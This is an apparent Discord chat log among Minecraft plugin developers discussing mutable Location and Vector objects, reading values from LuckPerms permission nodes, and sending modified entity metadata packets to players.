Locations and Vectors being mutable brings me agony
You ever enjoy doing particle math and suddenly it just spins out of the plane of existence because you forgot to add in a .clone()
I can't really think of a need for them to be mutable
actually I kinda do, but still, I have a feeling it causes more problems than solve
I have a gif of this somewhere that's somewhat humorous I need to go find it now
it's really dumb because it's mutable but every time you get an entity's location and such you get a copy...
Imagine modifying the location and have the entity teleport around xD
Somehow found it
https://gyazo.com/f7b39aec873f0939602820572bed4936
It was supposed to just rotate in a circle under the player but instead decided to discover a new plane of existence because I forgot to clone before transforming it
amogus
yes
that was my issue rn
Player#getDirection returned the vector but multiplied by 2 because i did that earlier
like
wtf
i dont want to change that?
https://i.imgur.com/aunxwGN.png
updated material theme ui... anyone know how to enable the "large" icons? looks like https://images-ext-1.discordapp.net/external/z4jbIfdpZScKvmVeQ1GJGsYQWSj-p-23WEc0_XOgY9E/https/i.imgur.com/KvqvuhB.png (second one is screenshot from before)
¯_(ツ)_/¯
i remember this happening on one of the updates but i forgot the name of the feature
nvm found it... it's called Experimental UI now
although
it does seem pretty experimental 🥲
Yeah it breaks on some stuff
@primal juniper
I have a perm like
myplugin.swordmultiplier.*
how can I get the value of * here?
you don't "get the value of it", the wildcard is handled (or not..) by the permission implementation, so if in luckperms you have foo.bar.* set to false and in your plugin you check for foo.bar.baz or foo.bar.baz.qux, luckperms will evaluate both of those to false
- was only an example it will be sth like mypl.swordmp.10
and I want to get that value (10 in my example)
you have to expect a specific value and check for it
some specific plugins might have additional api for handling it but it's not cross platform
meta nodes 🥺
by "specific plugins" i mean luckperms because who doesn't use it these days
I'm using lp, should I implement it?
it has a really extensive API that lets you do from the simplest of things to the most wild things you didn't even think were possible in luckperms
Vault has support for "values" too if you want to keep it extremely simple and interact through Vault API instead, LP API might need a bit of relearning how permissions work
lol
Is there any way to edit a datawatcher and send it in a PacketPlayOutEntityMetadata without actually effecting the real entity?
Because as far as I know, it requires modification to the data watcher before it can be sent in the packet
I've made the issue slightly better by immediately re-editing the datawatcher to have the original values after the packet has been sent, however its not perfect
Could make a copy of the entity and use its data watcher
Oh Interesting.
And that would still send the correct packet to the player?
As if it were the original entity
Should but not sure. Doesn't hurt to try it.
Ill try it, thanks
Stupid question, but is there a method to clone an entity?
Cant seem to find one
I think .clone()
Will do
Might have to clone manually. Create a new entity object and set its data as the data of the entity you're cloning.
Yeah that worked well enough, although I had to do it in a strange way lol
Thanks again for the help
👍
Oh I didn’t even notice that this was the wrong channel
How so?
Thought this was #development lol
Either channel is fine.
Well kinda, this channel isn't really for support, it's more for random dev conversations
Like favorite IDE arguments
f(x) = x^x

